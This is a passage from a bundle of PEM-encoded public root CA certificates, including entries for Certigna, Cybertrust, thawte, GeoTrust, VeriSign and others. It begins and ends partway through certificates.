b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X 4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY= -----END CERTIFICATE----- OISTE WISeKey Global Root GA CA =============================== -----BEGIN CERTIFICATE----- MIID8TCCAtmgAwIBAgIQQT1yx/RrH4FDffHSKFTfmjANBgkqhkiG9w0BAQUFADCBijELMAkGA1UE BhMCQ0gxEDAOBgNVBAoTB1dJU2VLZXkxGzAZBgNVBAsTEkNvcHlyaWdodCAoYykgMjAwNTEiMCAG A1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBH bG9iYWwgUm9vdCBHQSBDQTAeFw0wNTEyMTExNjAzNDRaFw0zNzEyMTExNjA5NTFaMIGKMQswCQYD VQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEbMBkGA1UECxMSQ29weXJpZ2h0IChjKSAyMDA1MSIw IAYDVQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5 IEdsb2JhbCBSb290IEdBIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy0+zAJs9 Nt350UlqaxBJH+zYK7LG+DKBKUOVTJoZIyEVRd7jyBxRVVuuk+g3/ytr6dTqvirdqFEr12bDYVxg Asj1znJ7O7jyTmUIms2kahnBAbtzptf2w93NvKSLtZlhuAGio9RN1AU9ka34tAhxZK9w8RxrfvbD d50kc3vkDIzh2TbhmYsFmQvtRTEJysIA2/dyoJaqlYfQjse2YXMNdmaM3Bu0Y6Kff5MTMPGhJ9vZ /yxViJGg4E8HsChWjBgbl0SOid3gF27nKu+POQoxhILYQBRJLnpB5Kf+42TMwVlxSywhp1t94B3R LoGbw9ho972WG6xwsRYUC9tguSYBBQIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUswN+rja8sHnR3JQmthG+IbJphpQwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBAEuh/wuHbrP5wUOxSPMowB0uyQlB+pQAHKSkq0lPjz0e701vvbyk9vIm MMkQyh2I+3QZH4VFvbBsUfk2ftv1TDI6QU9bR8/oCy22xBmddMVHxjtqD6wU2zz0c5ypBd8A3HR4 +vg1YFkCExh8vPtNsCBtQ7tgMHpnM1zFmdH4LTlSc/uMqpclXHLZCB6rTjzjgTGfA6b7wP4piFXa hNVQA7bihKOmNqoROgHhGEvWRGizPflTdISzRpFGlgC3gCy24eMQ4tui5yiPAZZiFj4A4xylNoEY okxSdsARo27mHbrjWr42U8U+dY+GaSlYU7Wcu2+fXMUY7N0v4ZjJ/L7fCg0= -----END CERTIFICATE----- Certigna ======== -----BEGIN CERTIFICATE----- MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3 MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+ ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY 1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg== -----END CERTIFICATE----- Cybertrust Global Root ====================== -----BEGIN CERTIFICATE----- MIIDoTCCAomgAwIBAgILBAAAAAABD4WqLUgwDQYJKoZIhvcNAQEFBQAwOzEYMBYGA1UEChMPQ3li ZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2JhbCBSb290MB4XDTA2MTIxNTA4 MDAwMFoXDTIxMTIxNTA4MDAwMFowOzEYMBYGA1UEChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQD ExZDeWJlcnRydXN0IEdsb2JhbCBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA +Mi8vRRQZhP/8NN57CPytxrHjoXxEnOmGaoQ25yiZXRadz5RfVb23CO21O1fWLE3TdVJDm71aofW 0ozSJ8bi/zafmGWgE07GKmSb1ZASzxQG9Dvj1Ci+6A74q05IlG2OlTEQXO2iLb3VOm2yHLtgwEZL AfVJrn5GitB0jaEMAs7u/OePuGtm839EAL9mJRQr3RAwHQeWP032a7iPt3sMpTjr3kfb1V05/Iin 89cqdPHoWqI7n1C6poxFNcJQZZXcY4Lv3b93TZxiyWNzFtApD0mpSPCzqrdsxacwOUBdrsTiXSZT 8M4cIwhhqJQZugRiQOwfOHB3EgZxpzAYXSUnpQIDAQABo4GlMIGiMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBS2CHsNesysIEyGVjJez6tuhS1wVzA/BgNVHR8EODA2 MDSgMqAwhi5odHRwOi8vd3d3Mi5wdWJsaWMtdHJ1c3QuY29tL2NybC9jdC9jdHJvb3QuY3JsMB8G A1UdIwQYMBaAFLYIew16zKwgTIZWMl7Pq26FLXBXMA0GCSqGSIb3DQEBBQUAA4IBAQBW7wojoFRO lZfJ+InaRcHUowAl9B8Tq7ejhVhpwjCt2BWKLePJzYFa+HMjWqd8BfP9IjsO0QbE2zZMcwSO5bAi 5MXzLqXZI+O4Tkogp24CJJ8iYGd7ix1yCcUxXOl5n4BHPa2hCwcUPUf/A2kaDAtE52Mlp3+yybh2 hO0j9n0Hq0V+09+zv+mKts2oomcrUtW3ZfA5TGOgkXmTUg9U3YO7n9GPp1Nzw8v/MOx8BLjYRB+T X3EJIrduPuocA06dGiBh+4E37F78CkWr1+cXVdCg6mCbpvbjjFspwgZgFJ0tl0ypkxWdYcQBX0jW WL1WMRJOEcgh4LMRkWXbtKaIOM5V -----END CERTIFICATE----- ePKI Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX 12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+ ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/ vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0 1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw= -----END CERTIFICATE----- certSIGN ROOT CA ================ -----BEGIN CERTIFICATE----- MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2 ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD 0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943 AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8 SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0 x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G3 ============================================= -----BEGIN CERTIFICATE----- MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0 IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr 2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9 cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt -----END CERTIFICATE----- thawte Primary Root CA - G2 =========================== -----BEGIN CERTIFICATE----- MIICiDCCAg2gAwIBAgIQNfwmXNmET8k9Jj1Xm67XVjAKBggqhkjOPQQDAzCBhDELMAkGA1UEBhMC VVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjE4MDYGA1UECxMvKGMpIDIwMDcgdGhhd3RlLCBJbmMu IC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3Qg Q0EgLSBHMjAeFw0wNzExMDUwMDAwMDBaFw0zODAxMTgyMzU5NTlaMIGEMQswCQYDVQQGEwJVUzEV MBMGA1UEChMMdGhhd3RlLCBJbmMuMTgwNgYDVQQLEy8oYykgMjAwNyB0aGF3dGUsIEluYy4gLSBG b3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAt IEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEotWcgnuVnfFSeIf+iha/BebfowJPDQfGAFG6DAJS LSKkQjnE/o/qycG+1E3/n3qe4rF8mq2nhglzh9HnmuN6papu+7qzcMBniKI11KOasf2twu8x+qi5 8/sIxpHR+ymVo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU mtgAMADna3+FGO6Lts6KDPgR4bswCgYIKoZIzj0EAwMDaQAwZgIxAN344FdHW6fmCsO99YCKlzUN G4k8VIZ3KMqh9HneteY4sPBlcIx/AlTCv//YoT7ZzwIxAMSNlPzcU9LcnXgWHxUzI1NS41oxXZ3K rr0TKUQNJ1uo52icEvdYPy5yAlejj6EULg== -----END CERTIFICATE----- thawte Primary Root CA - G3 =========================== -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIQYAGXt0an6rS0mtZLL/eQ+zANBgkqhkiG9w0BAQsFADCBrjELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDggdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMzAeFw0w ODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhh d3RlLCBJbmMuMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMTgwNgYD VQQLEy8oYykgMjAwOCB0aGF3dGUsIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIG A1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAsr8nLPvb2FvdeHsbnndmgcs+vHyu86YnmjSjaDFxODNi5PNxZnmxqWWjpYvVj2At P0LMqmsywCPLLEHd5N/8YZzic7IilRFDGF/Eth9XbAoFWCLINkw6fKXRz4aviKdEAhN0cXMKQlkC +BsUa0Lfb1+6a4KinVvnSr0eAXLbS3ToO39/fR8EtCab4LRarEc9VbjXsCZSKAExQGbY2SS99irY 7CFJXJv2eul/VTV+lmuNk5Mny5K76qxAwJ/C+IDPXfRa3M50hqY+bAtTyr2SzhkGcuYMXDhpxwTW vGzOW/b3aJzcJRVIiKHpqfiYnODz1TEoYRFsZ5aNOZnLwkUkOQIDAQABo0IwQDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUrWyqlGCc7eT/+j4KdCtjA/e2Wb8wDQYJ KoZIhvcNAQELBQADggEBABpA2JVlrAmSicY59BDlqQ5mU1143vokkbvnRFHfxhY0Cu9qRFHqKweK A3rD6z8KLFIWoCtDuSWQP3CpMyVtRRooOyfPqsMpQhvfO0zAMzRbQYi/aytlryjvsvXDqmbOe1bu t8jLZ8HJnBoYuMTDSQPxYA5QzUbF83d597YV4Djbxy8ooAw/dyZ02SUS2jHaGh7cKUGRIjxpp7sC 8rZcJwOJ9Abqm+RyguOhCcHpABnTPtRwa7pxpqpYrvS76Wy274fMm7v/OeZWYdMKp8RcTGB7BXcm er/YB1IsYvdwY9k5vG8cwnncdimvzsUsZAReiDZuMdRAGmI0Nj81Aa6sY6A= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G2 ============================================= -----BEGIN CERTIFICATE----- MIICrjCCAjWgAwIBAgIQPLL0SAoA4v7rJDteYD7DazAKBggqhkjOPQQDAzCBmDELMAkGA1UEBhMC VVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA3IEdlb1RydXN0IElu Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMB4XDTA3MTEwNTAwMDAwMFoXDTM4MDExODIzNTk1 OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykg MjAwNyBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMTLUdl b1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjB2MBAGByqGSM49AgEG BSuBBAAiA2IABBWx6P0DFUPlrOuHNxFi79KDNlJ9RVcLSo17VDs6bl8VAsBQps8lL33KSLjHUGMc KiEIfJo22Av+0SbFWDEwKCXzXV2juLaltJLtbCyf691DiaI8S0iRHVDsJt/WYC69IaNCMEAwDwYD VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBVfNVdRVfslsq0DafwBo/q+ EVXVMAoGCCqGSM49BAMDA2cAMGQCMGSWWaboCd6LuvpaiIjwH5HTRqjySkwCY/tsXzjbLkGTqQ7m ndwxHLKgpxgceeHHNgIwOlavmnRs9vuD4DPTCF+hnMJbn0bWtsuRBmOiBuczrD6ogRLQy7rQkgu2 npaqBA+K -----END CERTIFICATE----- VeriSign Universal Root Certification Authority =============================================== -----BEGIN CERTIFICATE----- MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCBvTELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MTgwNgYDVQQDEy9WZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9u IEF1dGhvcml0eTAeFw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNhbCBSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj 1mCOkdeQmIN65lgZOIzF9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGP MiJhgsWHH26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+HLL72 9fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN/BMReYTtXlT2NJ8I AfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPTrJ9VAMf2CGqUuV/c4DPxhGD5WycR tPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0G CCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2O a8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4sAPmLGd75JR3 Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+seQxIcaBlVZaDrHC1LGmWazx Y8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTx P/jgdFcrGJ2BtMQo2pSXpXDrrB2+BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+P wGZsY6rp2aQW9IHRlRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4 mJO37M2CYfE45k+XmCpajQ== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G4 ============================================================ -----BEGIN CERTIFICATE----- MIIDhDCCAwqgAwIBAgIQL4D+I4wOIg9IZxIokYesszAKBggqhkjOPQQDAzCByjELMAkGA1UEBhMC VVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3 b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVz ZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmlj YXRpb24gQXV0aG9yaXR5IC0gRzQwHhcNMDcxMTA1MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCByjEL MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBU cnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRo b3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASnVnp8 Utpkmw4tXNherJI9/gHmGUo9FANL+mAnINmDiWn6VMaaGF5VKmTeBvaNSjutEDxlPZCIBIngMGGz rl0Bp3vefLK+ymVhAIau2o970ImtTR1ZmkGxvEeA3J5iw/mjgbIwga8wDwYDVR0TAQH/BAUwAwEB /zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEw HzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24u Y29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFLMWkf3upm7ktS5Jj4d4gYDs5bG1MAoGCCqGSM49BAMD A2gAMGUCMGYhDBgmYFo4e1ZC4Kf8NoRRkSAsdk1DPcQdhCPQrNZ8NQbOzWm9kA3bbEhCHQ6qQgIx AJw9SDkjOVgaFRJZap7v1VmyHVIsmXHNxynfGyphe3HR3vPA5Q06Sqotp9iGKt0uEA== -----END CERTIFICATE----- NetLock Arany (Class Gold) Főtanúsítvány ======================================== -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610 